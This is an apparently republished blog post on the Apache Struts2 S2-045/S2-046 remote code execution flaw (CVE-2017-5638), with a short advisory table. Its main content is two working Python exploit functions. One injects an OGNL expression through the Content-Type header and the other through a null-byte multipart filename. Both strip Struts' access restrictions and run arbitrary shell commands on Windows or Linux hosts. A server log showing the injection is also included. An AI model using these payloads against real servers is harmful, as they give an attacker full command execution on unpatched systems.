Struts2 S2-045 RCE Vulnerability Analysis & Brand New Exploit

这里写图片描述
I haved finished and developped a new exploit poc several days ago, it’s true I didn’t plan to publish this Exploit for S2-046, but I found someone has uncover the veil, so let it go.
https://github.com/WalterJia/Exploits_Sets

Summary

Struts2 S2-045 exploit has been spread in the wild, attacker can exploit it to assault the victim with remote command execution and get the fully controlled privilege of victim.
In this paper, we will introduce a new exploit code not found in the wild, and show how the attacker assault the target, what kind of command being used, what kind of malware spread and so on.

Question Answer other
Who should read this all Struts 2 developers, users, security researcher
Impact of vulnerability RCE when access any action backend based on Jakarta Multipart parser
Maximum security rating Critical
Recommendation Upgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected Software Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
CVE Identifier CVE-2017-5638

Exploit
These two exploits below can be used to assault the target with Struts2 vulnerability, the first one is being used and widespread in the wild, the second one is not found yet.
1. Exploit snippet with content-type in the wild

def exploit(url, cmd):
    payload = " Content-Type: %{(#_='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
  1. Exploit snippet with filename-Brand new exploit

Invalid file name exception will lead that Jakarta handles exception and executes the Ognl.

2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
def exploit(url, cmd):
    body = "------WebKitFormBoundaryTb12KjLWSQu5ZIP6\r\n" + \
            'Content-Disposition: form-data; name="upload"; filename="xxxxxxx\x00%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'mkdir -p /var/xxx\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"\r\n' + \
            "Content-Type: application/octet-stream\r\n\r\n" + \
            "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n" + \
            "------WebKitFormBoundaryTb12KjLWSQu5ZIP6--\r\n"
…………………………………

3.Expoit result
After execute the exploit we can see there is directory “xxx” created on the victim, please refer to the picture below.
Struts2 S2-045 RCE Vulnerability Analysis & Brand New Exploit_第1张图片

PS

https://cwiki.apache.org/confluence/display/WW/S2-045
https://github.com/rapid7/metasploit-framework/issues/8064

Apache Log for vulnerability 
2017-03-14 21:37:21,249 WARN  [http-bio-8080-exec-9] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: xxxxxxx\0%{(#xx=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#xx.addHeader('PANW','multipart/form-data'))}
    at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]
    at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:804) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.PrepareOperations.wrapRequest(PrepareOperations.java:148) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:91) [struts2-core-2.5.10.jar:2.5.10]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) [catalina.jar:7.0.65]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122) [catalina.jar:7.0.65]
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170) [catalina.jar:7.0.65]
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) [catalina.jar:7.0.65]
    at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956) [catalina.jar:7.0.65]
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) [catalina.jar:7.0.65]
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:423) [catalina.jar:7.0.65]
    at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1079) [tomcat-coyote.jar:7.0.65]
    at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625) [tomcat-coyote.jar:7.0.65]
    at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316) [tomcat-coyote.jar:7.0.65]
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [?:1.7.0_75]
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [?:1.7.0_75]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-coyote.jar:7.0.65]
    at java.lang.Thread.run(Thread.java:745) [?:1.7.0_75]

你可能感兴趣的:(Network,Security)